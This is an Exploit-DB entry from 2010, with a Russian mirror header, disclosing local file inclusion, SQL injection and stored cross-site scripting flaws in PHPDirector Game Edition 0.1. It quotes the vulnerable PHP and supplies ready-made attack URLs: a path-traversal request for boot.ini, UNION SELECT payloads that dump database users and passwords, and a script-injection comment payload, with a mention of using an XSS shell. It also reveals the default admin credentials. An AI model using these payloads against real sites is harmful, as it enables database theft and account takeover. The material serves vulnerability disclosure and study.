Exploit PHPDirector Game Edition 0.1 - Local File Inclusion / SQL Injection / Cross-Site Scripting

[Exploiter]

EDB-ID

11013

Проверка EDB

1. Пройдено

Автор

ZER0 THUNDER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2010-01-06

# Exploit Title: PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)
# Date: 2010-01-05
# Author: Zer0 Thunder
# Site : http://www.play-online.bzh.be/forum/
# Version: v0.1
# Tested on: Windows XP sp2 [WampServer 2.0i] / LinuxBox ( Ubuntu Server 9.10)
# CVE : 
# Code :


Local File Inclusion !

Header.php Vuln
-----------------------------
if(!$_GET["lang"])
 {
  include("lang/".config('lang'));
 }
else
 {
  SetCookie("lang",$_GET["lang"]);
  header('Location: ' . $_SERVER['HTTP_REFERER'] );    
 } 
if (!$_COOKIE["lang"])
 { 
  include("lang/".config('lang'));
 }
else
 {
  $lang = $_COOKIE["lang"];
  include("lang/" . $lang . ".inc.php");
 }
 
 -------------------------------
 
 Exploit :
 http://site.com/path/header.php?header.php?lang=[LFI]
 
 
 Sample ( Tested on a windows box)
 http://localhost/phpdirectorgameedition/header.php?lang=../../../../boot.ini%00
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 
 SQL Injection 

Page : Games.php Vuln Page (line 12 / 121 - 128 )
-----------------------------------------
	$idc = $_GET["id"];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

	if(isset($idc) && is_numeric($idc)){
		$id = mysql_real_escape_string($idc);
		$result = mysql_query("SELECT * FROM pp_files WHERE id=$id AND `approved` = '1' LIMIT 1") or die(mysql_error());  
	}else{
		$result = mysql_query("select * from pp_files WHERE approved='1' AND reject='0' order by rand() LIMIT 1") or die(mysql_error());  
	}
	
-----------------------------------
## There is also a vuln possiblility on line 27-57

Exploit :
http://site/games.php?id=-1 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
http://site/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--


Example : 

DB Version
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

Users
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--

# You can't find admin username password in the SQL Database ,It's stroed in config.php
# line 15-16
#
#$cfg["admin_user"] = "admin"; 
#$cfg["admin_pass"] = "test";

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

XSS ( Cross Site Scripting ) 

You Can even use a Xss Shell on this Vuln
Goto this page 

http://localhost/phpdirectorgameedition/games.php?id=1

In the comment form put "<script>alert("XSS")</script>" then put a sybmit the comment 

Vuln Code 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 if(isset($_POST['go']) && !empty($_POST['comment']) && !empty($_POST['nom']))
{
mysql_query("INSERT INTO pp_comment (file_id, nom, comment,ip) VALUES ('$_POST[id]', '$_POST[nom]','".addslashes($_POST['comment'])."','$ip')");

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

########################################
# MSN : [email protected]
# Email : [email protected]
# Site : LKHackers.com
# Greetz : To all my friends
# Note : Proud to be a Sri Lankan
# Me : Sri Lankan Hacker
########################################